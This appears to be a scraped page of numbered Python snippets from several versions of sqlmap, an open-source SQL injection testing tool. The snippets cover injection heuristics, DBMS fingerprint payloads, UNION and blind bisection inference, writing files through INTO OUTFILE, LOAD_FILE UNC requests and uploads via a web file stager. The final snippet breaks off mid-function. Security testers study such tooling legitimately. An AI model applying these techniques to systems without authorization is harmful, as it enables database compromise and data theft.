Example #1
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    if kb.redirectChoice:
        return None

    kb.matchRatio = None
    dynResult = None
    randInt = randomInt()

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    try:
        payload = agent.payload(place, parameter, value, getUnicode(randInt))
        dynResult = Request.queryPage(payload, place, raise404=False)

        if not dynResult:
            infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
            logger.info(infoMsg)

            randInt = randomInt()
            payload = agent.payload(place, parameter, value, getUnicode(randInt))
            dynResult = Request.queryPage(payload, place, raise404=False)
    except SqlmapConnectionException:
        pass

    result = None if dynResult is None else not dynResult
    kb.dynamicParameter = result

    return result
Example #2
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    conf.matchRatio = None

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, getUnicode(randInt))
    dynResult = Request.queryPage(payload, place)

    if True == dynResult:
        return False

    infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, getUnicode(randInt))
    dynResult = Request.queryPage(payload, place)

    return not dynResult
Example #3
0
def checkStability():
    """
    This function checks if the URL content is stable requesting the
    same page three times with a small delay within each request to
    assume that it is stable.

    In case the content of the page differs when requesting
    the same page, the dynamicity might depend on other parameters,
    like for instance string matching (--string).
    """

    infoMsg = "testing if the url is stable, wait a few seconds"
    logger.info(infoMsg)

    firstResult = Request.queryPage()
    time.sleep(0.5)

    secondResult = Request.queryPage()
    time.sleep(0.5)

    thirdResult = Request.queryPage()

    condition  = firstResult == secondResult
    condition &= secondResult == thirdResult

    return condition
Example #4
0
def heuristicCheckSqlInjection(place, parameter, value):
    if kb.nullConnection:
        debugMsg  = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
    payload = agent.payload(place, parameter, value, payload)
    Request.queryPage(payload, place, raise404=False)
    result = wasLastRequestDBMSError()

    infoMsg  = "heuristics shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    if result:
        infoMsg += "be injectable (possible DBMS: %s)" % (kb.htmlFp[-1] if kb.htmlFp else 'Unknown')
        logger.info(infoMsg)
    else:
        infoMsg += "not be injectable"
        logger.warning(infoMsg)
Example #5
0
def checkNullConnection():
    """
    Reference: http://www.wisec.it/sectou.php?id=472f952d79293
    """

    if conf.data:
        return False

    infoMsg = "testing NULL connection to the target url"
    logger.info(infoMsg)

    try:
        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)

        if not page and HTTPHEADER.CONTENT_LENGTH in headers:
            kb.nullConnection = NULLCONNECTION.HEAD

            infoMsg = "NULL connection is supported with HEAD header"
            logger.info(infoMsg)
        else:
            page, headers, _ = Request.getPage(auxHeaders={HTTPHEADER.RANGE: "bytes=-1"})

            if page and len(page) == 1 and HTTPHEADER.CONTENT_RANGE in headers:
                kb.nullConnection = NULLCONNECTION.RANGE

                infoMsg = "NULL connection is supported with GET header "
                infoMsg += "'%s'" % kb.nullConnection
                logger.info(infoMsg)

    except SqlmapConnectionException, errMsg:
        errMsg = getUnicode(errMsg)
        raise SqlmapConnectionException, errMsg
Example #6
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, str(randInt))
    dynResult1 = Request.queryPage(payload, place)

    if kb.defaultResult == dynResult1:
        return False

    infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    payload = agent.payload(place, parameter, value, "'%s" % randomStr())
    dynResult2 = Request.queryPage(payload, place)

    payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
    dynResult3 = Request.queryPage(payload, place)

    condition  = kb.defaultResult != dynResult2
    condition |= kb.defaultResult != dynResult3

    return condition
Example #7
0
    def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        logger.debug("encoding file to its hexadecimal string value")

        fcEncodedList = self.fileEncode(wFile, "hex", True)
        fcEncodedStr = fcEncodedList[0][2:]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
            warnMsg = "the injection is on a GET parameter and the file "
            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
            warnMsg += "bytes, this might cause errors in the file "
            warnMsg += "writing process"
            logger.warn(warnMsg)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
        payload = agent.payload(newValue=query)
        Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)

        warnMsg = "expect junk characters inside the "
        warnMsg += "file as a leftover from original query"
        singleTimeWarnMessage(warnMsg)

        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
Example #8
0
def checkNullConnection():
    """
    Reference: http://www.wisec.it/sectou.php?id=472f952d79293
    """

    infoMsg = "testing NULL connection to the target url"
    logger.info(infoMsg)

    try:
        page, headers = Request.getPage(method=HTTPMETHOD.HEAD)
        if not page and 'Content-Length' in headers:
            kb.nullConnection = NULLCONNECTION.HEAD

            infoMsg = "NULL connection is supported with HEAD header"
            logger.info(infoMsg)
        else:
            page, headers = Request.getPage(auxHeaders={"Range": "bytes=-1"})
            if page and len(page) == 1 and 'Content-Range' in headers:
                kb.nullConnection = NULLCONNECTION.RANGE

                infoMsg = "NULL connection is supported with GET header "
                infoMsg += "'%s'" % kb.nullConnection
                logger.info(infoMsg)
    except sqlmapConnectionException, errMsg:
        errMsg = getUnicode(errMsg)
        raise sqlmapConnectionException, errMsg
Example #9
0
def columnExists(columnFile):
    if not conf.tbl:
        errMsg = "missing table parameter"
        raise sqlmapMissingMandatoryOptionException, errMsg

    columns = getFileItems(columnFile)
    if conf.db and '(*)' not in conf.db:
        table = "%s.%s" % (conf.db, conf.tbl)
    else:
        table = conf.tbl

    retVal = []
    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

    pushValue(conf.verbose)
    conf.verbose = 0
    count = 0
    length = len(columns)

    for column in columns:
        query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s)", (column, table)))
        query = agent.suffixQuery(query)
        result = Request.queryPage(agent.payload(newValue=query))

        if result:
            infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), column)
            infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg)))
            dataToStdout(infoMsg, True)
            retVal.append(column)

        count += 1
        status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
        dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)

    conf.verbose = popValue()

    dataToStdout("\n", True)

    if not retVal:
        warnMsg = "no column found"
        logger.warn(warnMsg)
    else:
        columns = {}

        for column in retVal:
            query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s WHERE %s>0)", (column, table, column)))
            query = agent.suffixQuery(query)
            result = Request.queryPage(agent.payload(newValue=query))

            if result:
                columns[column] = 'numeric'
            else:
                columns[column] = 'non-numeric'

        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

    return kb.data.cachedColumns
Example #10
0
    def uncPathRequest(self):
        if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
            query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
            query = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)

            Request.queryPage(payload)
        else:
            inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
Example #11
0
    def uncPathRequest(self):
        if not isStackingAvailable():
            query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
            query = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)

            Request.queryPage(payload)
        else:
            inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
Example #12
0
    def uncPathRequest(self):
        if not kb.stackedTest:
            query   = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
            query   = agent.postfixQuery(query)
            payload = agent.payload(newValue=query)

            Request.queryPage(payload)
        else:
            inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
Example #13
0
    def __commentCheck(self):
        infoMsg = "executing MySQL comment injection fingerprint"
        logger.info(infoMsg)

        query   = agent.prefixQuery(" /* NoValue */")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform MySQL comment injection"
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 01/2010
        versions = (
                     (32200, 32234),    # MySQL 3.22
                     (32300, 32360),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40123),    # MySQL 4.1
                     (50000, 50090),    # MySQL 5.0
                     (50100, 50142),    # MySQL 5.1
                     (50400, 50405),    # MySQL 5.4
                     (50500, 50502),    # MySQL 5.5
                     (60000, 60011),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = str(version)
                query   = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Example #14
0
    def checkDbms(self):
        if conf.dbms in SYBASE_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
            setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0]))

            self.getBanner()

            if not conf.extensiveFp:
                kb.os = "Windows"

                return True

        infoMsg = "testing Sybase"
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            payload = agent.fullPayload("AND tempdb_id()=tempdb_id()")
            result  = Request.queryPage(payload)

        if result:
            logMsg = "confirming Sybase"
            logger.info(logMsg)

            payload = agent.fullPayload("AND suser_id()=suser_id()")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = "the back-end DBMS is not Sybase"
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            for version in range(12, 16):
                randInt = randomInt()
                query   = "AND @@VERSION_NUMBER/1000=%d" % version
                payload = agent.fullPayload(query)
                result  = Request.queryPage(payload)
                if result:
                    kb.dbmsVersion = ["%d" % version]
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not Sybase"
            logger.warn(warnMsg)

            return False
Example #15
0
def goStacked(expression, silent=False):
    kb.technique = PAYLOAD.TECHNIQUE.STACKED
    expression = cleanQuery(expression)

    if conf.direct:
        return direct(expression)

    query = agent.prefixQuery(";%s" % expression)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True)
Example #16
0
def heuristicCheckSqlInjection(place, parameter):
    if kb.nullConnection:
        debugMsg = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return None

    if wasLastRequestDBMSError():
        debugMsg = "heuristic checking skipped "
        debugMsg += "because original page content "
        debugMsg += "contains DBMS error"
        logger.debug(debugMsg)
        return None

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

    parseFilePaths(page)

    result = wasLastRequestDBMSError()

    infoMsg = "heuristic test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    kb.heuristicTest = result

    if not result and kb.dynamicParameter:
        _ = conf.paramDict[place][parameter]

        if _.isdigit():
            randInt = int(randomInt())
            payload = "%s%s%s" % (prefix, "%s-%s" % (int(_) + randInt, randInt), suffix)
            payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
            result = Request.queryPage(payload, place, raise404=False)

    if result:
        infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
        logger.info(infoMsg)
    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return result
Example #17
0
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or "")

        if content and phrase in content:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, conf.uChar, where)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop)
                randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")

                if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)):
                    vector = (position, count, comment, prefix, suffix, conf.uChar, PAYLOAD.WHERE.NEGATIVE)

            break

    return validPayload, vector
Example #18
0
    def checkDbms(self):
        if conf.dbms in ORACLE_ALIASES:
            setDbms("Oracle")

            self.getBanner()

            if not conf.extensiveFp:
                return True

        logMsg = "testing Oracle"
        logger.info(logMsg)

        payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
        result  = Request.queryPage(payload)

        if result:
            logMsg = "confirming Oracle"
            logger.info(logMsg)

            payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = "the back-end DMBS is not Oracle"
                logger.warn(warnMsg)

                return False

            setDbms("Oracle")

            self.getBanner()

            if not conf.extensiveFp:
                return True

            query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
            version = inject.getValue(query, unpack=False)

            if re.search("^11", version):
                kb.dbmsVersion = ["11i"]
            elif re.search("^10", version):
                kb.dbmsVersion = ["10g"]
            elif re.search("^9", version):
                kb.dbmsVersion = ["9i"]
            elif re.search("^8", version):
                kb.dbmsVersion = ["8i"]

            return True
        else:
            warnMsg = "the back-end DMBS is not Oracle"
            logger.warn(warnMsg)

            return False
Example #19
0
def checkWaf():
    """
    Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
    """

    if not conf.checkWaf:
        return False

    infoMsg = "testing if the target is protected by "
    infoMsg += "some kind of WAF/IPS/IDS"
    logger.info(infoMsg)

    retVal = False

    backup = dict(conf.parameters)

    conf.parameters = dict(backup)
    conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
    conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)

    kb.matchRatio = None
    Request.queryPage()

    if kb.errorIsNone and kb.matchRatio is None:
        kb.matchRatio = LOWER_RATIO_BOUND

    conf.parameters = dict(backup)
    conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
    conf.parameters[PLACE.GET] += "%s=%d" % (randomStr(), randomInt())

    trueResult = Request.queryPage()

    if trueResult:
        conf.parameters = dict(backup)
        conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
        conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)

        falseResult = Request.queryPage()

        if not falseResult:
            retVal = True

    conf.parameters = dict(backup)

    if retVal:
        warnMsg = "it appears that the target is protected. Please "
        warnMsg += "consider usage of tamper scripts (option '--tamper')"
        logger.warn(warnMsg)
    else:
        infoMsg = "it appears that the target is not protected"
        logger.info(infoMsg)

    return retVal
Example #20
0
    def checkDbms(self):
        """
        References for fingerprint:

        * http://www.sqlite.org/lang_corefunc.html
        * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
        """

        if conf.dbms in SQLITE_ALIASES:
            setDbms(DBMS.SQLITE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

        logMsg = "testing SQLite"
        logger.info(logMsg)

        payload = agent.fullPayload("AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()")
        result  = Request.queryPage(payload)

        if result:
            logMsg = "confirming SQLite"
            logger.info(logMsg)

            payload = agent.fullPayload("AND SQLITE_VERSION()=SQLITE_VERSION()")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = "the back-end DBMS is not SQLite"
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SQLITE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            version = inject.getValue("SELECT SUBSTR((SQLITE_VERSION()), 1, 1)", unpack=False, charsetType=2, suppressOutput=True)
            kb.dbmsVersion = [ version ]

            return True
        else:
            warnMsg = "the back-end DBMS is not SQLite"
            logger.warn(warnMsg)

            return False
Example #21
0
def _goBooleanProxy(expression):
    """
    Retrieve the output of a boolean based SQL query
    """

    initTechnique(kb.technique)

    if conf.dnsDomain:
        query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        output = _goDns(payload, expression)

        if output is not None:
            return output

    vector = kb.injection.data[kb.technique].vector
    vector = vector.replace("[INFERENCE]", expression)
    query = agent.prefixQuery(vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)

    timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)

    output = hashDBRetrieve(expression, checkConf=True)

    if output is None:
        output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)

        if output is not None:
            hashDBWrite(expression, output)

    return output
Example #22
0
def checkRegexp():
    if not conf.regexp:
        return True

    condition = (
                  kb.resumedQueries.has_key(conf.url) and
                  kb.resumedQueries[conf.url].has_key("Regular expression") and
                  kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
                )

    if condition:
        return True

    infoMsg  = "testing if the provided regular expression matches within "
    infoMsg += "the target URL page content"
    logger.info(infoMsg)

    page, _ = Request.queryPage(content=True)

    if re.search(conf.regexp, page, re.I | re.M):
        setRegexp()
    else:
        warnMsg  = "you provided '%s' as the regular expression to " % conf.regexp
        warnMsg += "match, but such a regular expression does not have any "
        warnMsg += "match within the target URL page content, sqlmap "
        warnMsg += "will keep going anyway"
        logger.warn(warnMsg)

    return True
Example #23
0
    def __versionCheck(self):
        infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
        logger.info(infoMsg)

        query = agent.prefixQuery("/* NoValue */")
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        result = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform %s version check" % DBMS.MAXDB
            logger.warn(warnMsg)

            return None

        minor, major = None, None

        for version in (6, 7):
            result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                major = version

        for version in xrange(0, 10):
            result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                minor = version

        if major and minor:
            return "%s.%s" % (major, minor)
        else:
            return None
Example #24
0
def checkString():
    if not conf.string:
        return True

    condition = (
                  kb.resumedQueries.has_key(conf.url) and
                  kb.resumedQueries[conf.url].has_key("String") and
                  kb.resumedQueries[conf.url]["String"][:-1] == conf.string
                )

    if condition:
        return True

    infoMsg  = "testing if the provided string is within the "
    infoMsg += "target URL page content"
    logger.info(infoMsg)

    page, _ = Request.queryPage(content=True)

    if conf.string in page:
        setString()
    else:
        warnMsg  = "you provided '%s' as the string to " % conf.string
        warnMsg += "match, but such a string is not within the target "
        warnMsg += "URL page content original request, sqlmap will "
        warnMsg += "keep going anyway"
        logger.warn(warnMsg)

    return True
Example #25
0
def __findPageForms():
    if not conf.forms:
        return

    if not checkConnection():
        return

    infoMsg = "searching for forms"
    logger.info(infoMsg)

    response, _ = Request.queryPage(response=True)
    forms = ParseResponse(response, backwards_compat=False)

    if forms:
        for form in forms:
            request = form.click()
            url = request.get_full_url()
            method = request.get_method()
            data = request.get_data() if request.has_data() else None

            target = (url, method, data, conf.cookie)
            kb.targetUrls.add(target)
            kb.formNames[target] = form.name
    else:
        errMsg  = "there were no forms found at a given target url"
        raise sqlmapGenericException, errMsg
Example #26
0
def __unionPosition(expression, negative=False):
    global reqCount

    if negative:
        negLogMsg = "partial"
    else:
        negLogMsg = "full"

    infoMsg  = "confirming %s inband sql injection on parameter " % negLogMsg
    infoMsg += "'%s'" % kb.injParameter
    logger.info(infoMsg)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for exprPosition in range(0, kb.unionCount):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        if len(randQueryUnescaped) > len(expression):
            blankCount = len(randQueryUnescaped) - len(expression)
            expression = (" " * blankCount) + expression
        elif len(randQueryUnescaped) < len(expression):
            blankCount = len(expression) - len(randQueryUnescaped)
            randQueryUnescaped = (" " * blankCount) + randQueryUnescaped

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
        payload = agent.payload(newValue=query, negative=negative)

        # Perform the request
        resultPage = Request.queryPage(payload, content=True)
        reqCount += 1

        # We have to assure that the randQuery value is not within the
        # HTML code of the result page because, for instance, it is there
        # when the query is wrong and the back-end DBMS is Microsoft SQL
        # server
        htmlParsed = htmlParser(resultPage)

        if randQuery in resultPage and not htmlParsed:
            setUnion(position=exprPosition)

            break

    if isinstance(kb.unionPosition, int):
        infoMsg  = "the target url is affected by an exploitable "
        infoMsg += "%s inband sql injection vulnerability" % negLogMsg
        logger.info(infoMsg)
    else:
        warnMsg  = "the target url is not affected by an exploitable "
        warnMsg += "%s inband sql injection vulnerability" % negLogMsg

        if negLogMsg == "partial":
            warnMsg += ", sqlmap will retrieve the query output "
            warnMsg += "through blind sql injection technique"

        logger.warn(warnMsg)
Example #27
0
    def _webFileStreamUpload(self, stream, destFileName, directory):
        stream.seek(0)  # Rewind

        try:
            setattr(stream, "name", destFileName)
        except TypeError:
            pass

        if self.webApi in getPublicTypeMembers(WEB_API, True):
            multipartParams = {
                                "upload":    "1",
                                "file":      stream,
                                "uploadDir": directory,
                              }

            if self.webApi == WEB_API.ASPX:
                multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
                multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE

            page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)

            if "File uploaded" not in page:
                warnMsg = "unable to upload the file through the web file "
                warnMsg += "stager to '%s'" % directory
                logger.warn(warnMsg)
                return False
            else:
                return True
        else:
            logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi)
            return False
Example #28
0
def checkRegexp():
    if not conf.regexp:
        return True

    condition = (
                  kb.resumedQueries.has_key(conf.url) and
                  kb.resumedQueries[conf.url].has_key("Regular expression") and
                  kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
                )

    if condition:
        return True

    infoMsg  = "testing if the provided regular expression matches within "
    infoMsg += "the target URL page content"
    logger.info(infoMsg)

    page = Request.queryPage(content=True)

    if re.search(conf.regexp, page, re.I | re.M):
        setRegexp()
        return True
    else:
        errMsg  = "you provided '%s' as the regular expression to " % conf.regexp
        errMsg += "match, but such a regular expression does not have any "
        errMsg += "match within the target URL page content, please provide "
        errMsg += "another regular expression."
        logger.error(errMsg)

        return False
Example #29
0
        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

            if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
                result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(kb.technique)

            return result
Example #30
0
        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(conf.crawlExclude, current):
                            dbgMsg = "skipping '%s'" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current, crawling=True, raise404=False)[0]
                except SqlmapConnectionException, ex:
                    errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
Example #31
0
def bisection(payload,
              expression,
              length=None,
              charsetType=None,
              firstChar=None,
              lastChar=None,
              dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    timeBasedCompare = (kb.technique
                        in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good
        # samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif hasattr(conf, "api"):
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
